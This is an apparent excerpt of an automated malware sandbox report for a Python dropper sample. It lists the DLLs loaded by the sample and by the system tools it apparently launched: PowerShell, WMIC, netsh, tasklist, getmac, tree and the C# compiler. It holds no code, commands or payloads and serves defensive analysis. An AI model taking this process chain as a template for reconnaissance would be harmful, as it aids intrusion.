Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
